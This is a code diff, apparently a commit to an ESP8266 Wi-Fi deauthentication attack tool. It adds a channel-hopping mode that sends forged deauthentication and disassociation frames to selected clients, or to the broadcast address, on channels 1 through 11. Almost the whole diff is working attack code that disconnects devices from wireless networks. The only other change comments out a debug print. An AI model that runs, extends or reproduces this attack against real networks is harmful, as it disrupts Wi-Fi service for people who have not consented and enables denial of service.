@@ -135,23 +135,47 @@ void Attack::run(){
135135 if (clientScan.getClientSelected (i)){
136136 _selectedClients++;
137137
138- buildDeauth (_ap, clientScan.getClientMac (i), 0xc0 , settings.deauthReason );
139- for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
140-
141- buildDeauth (_ap, clientScan.getClientMac (i), 0xa0 , settings.deauthReason );
142- for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
143-
138+ if (settings.channelHop ){
139+ for (int j=1 ;j<12 ;j++){
140+ wifi_set_channel (j);
141+
142+ buildDeauth (_ap, clientScan.getClientMac (i), 0xc0 , settings.deauthReason );
143+ if (send ()) packetsCounter[0 ]++;
144+
145+ buildDeauth (_ap, clientScan.getClientMac (i), 0xa0 , settings.deauthReason );
146+ if (send ()) packetsCounter[0 ]++;
147+ }
148+ }else {
149+ buildDeauth (_ap, clientScan.getClientMac (i), 0xc0 , settings.deauthReason );
150+ for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
151+
152+ buildDeauth (_ap, clientScan.getClientMac (i), 0xa0 , settings.deauthReason );
153+ for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
154+ }
144155 }
145156 }
146157
147158 if (_selectedClients == 0 ){
148159 Mac _client;
149160 _client.set (0xFF ,0xFF ,0xFF ,0xFF ,0xFF ,0xFF );
150- buildDeauth (_ap, _client, 0xc0 , 0x01 );
151- for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
152-
153- buildDeauth (_ap, _client, 0xa0 , 0x01 );
154- for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
161+
162+ if (settings.channelHop ){
163+ for (int j=1 ;j<12 ;j++){
164+ wifi_set_channel (j);
165+
166+ buildDeauth (_ap, _client, 0xc0 , settings.deauthReason );
167+ if (send ()) packetsCounter[0 ]++;
168+
169+ buildDeauth (_ap, _client, 0xa0 , settings.deauthReason );
170+ if (send ()) packetsCounter[0 ]++;
171+ }
172+ }else {
173+ buildDeauth (_ap, _client, 0xc0 , settings.deauthReason );
174+ for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
175+
176+ buildDeauth (_ap, _client, 0xa0 , settings.deauthReason );
177+ for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
178+ }
155179 }
156180
157181 }
@@ -370,7 +394,7 @@ void Attack::refreshLed(){
370394 int numberRunning = 0 ;
371395 for (int i=0 ; i<sizeof (isRunning); i++){
372396 if (isRunning[i]) numberRunning++;
373- if (debug) Serial.println (numberRunning);
397+ // if(debug) Serial.println(numberRunning);
374398 }
375399 if (numberRunning>=1 && settings.useLed ){
376400 if (debug) Serial.println (" Attack LED : ON" );
0 commit comments